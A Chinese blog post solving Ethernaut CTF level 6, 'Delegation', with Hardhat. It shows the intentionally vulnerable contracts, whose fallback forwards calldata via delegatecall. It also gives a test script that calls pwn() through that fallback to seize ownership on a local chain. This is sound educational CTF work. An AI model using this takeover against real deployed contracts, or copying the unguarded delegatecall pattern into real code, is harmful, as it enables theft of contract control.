用Hardhat闯关Ethernaut题6 -delegation

344 阅读1分钟

Delegation合约

任务:获取Delegation合约的所有权。

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "hardhat/console.sol";

contract Delegate {
    address public owner;

    constructor(address _owner) public {
        owner = _owner;
    }

    function pwn() public {
        owner = msg.sender;
    }
}

contract Delegation {
    address public owner;
    Delegate delegate;

    constructor(address _delegateAddress) public {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }

    fallback() external {
        (bool result, ) = address(delegate).delegatecall(msg.data);
        if (result) {
            console.log(result);
            this;
        }
    }
}

这题主要是理解delegatecallcall的区别:github.com/AmazingAng/… ,也就是说此题要是更改Delegation的owner,需要调用Delegate合约的pwn函数,也就是触发Delegation合约的fallback ,fallback的触发条件:

触发fallback() 还是 receive()?
           接收ETH
              |
         msg.data是空?
            /  \
          是    否
          /      \
receive()存在?   fallback()
        / \
       是  否
      /     \
receive()   fallback()

也就是说发送一笔交易 data不为空就行。

测试脚本:

const { expect } = require("chai");
const { ethers } = require("hardhat");
const { MaxUint256 } = require("@ethersproject/constants");
const { BigNumber } = require("ethers");
const { parseEther } = require("ethers/lib/utils");
describe("test", function () {
    var Delegation;
    var Delegate;
    it("init params", async function () {
        [deployer, ...users] = await ethers.getSigners();
    });
    it("deploy", async function () {
        const DelegateInstance = await ethers.getContractFactory("Delegate");
        Delegate = await DelegateInstance.deploy(users[0].address);

        const DelegationInstance = await ethers.getContractFactory("Delegation");
        Delegation = await DelegationInstance.deploy(Delegate.address);
    });
    it("hack test", async function () {
        console.log(await Delegation.owner());

        const abi = ["function pwn() external"];
        const interface = new ethers.utils.Interface(abi);

        const callData = interface.encodeFunctionData(`pwn`, []);
        const res = await users[0].sendTransaction({
            to: Delegation.address,
            data: callData,
        });
        await res.wait();
        console.log(await Delegation.owner());
    });
});

运行结果:

image.png

Github:hardhat测试仓库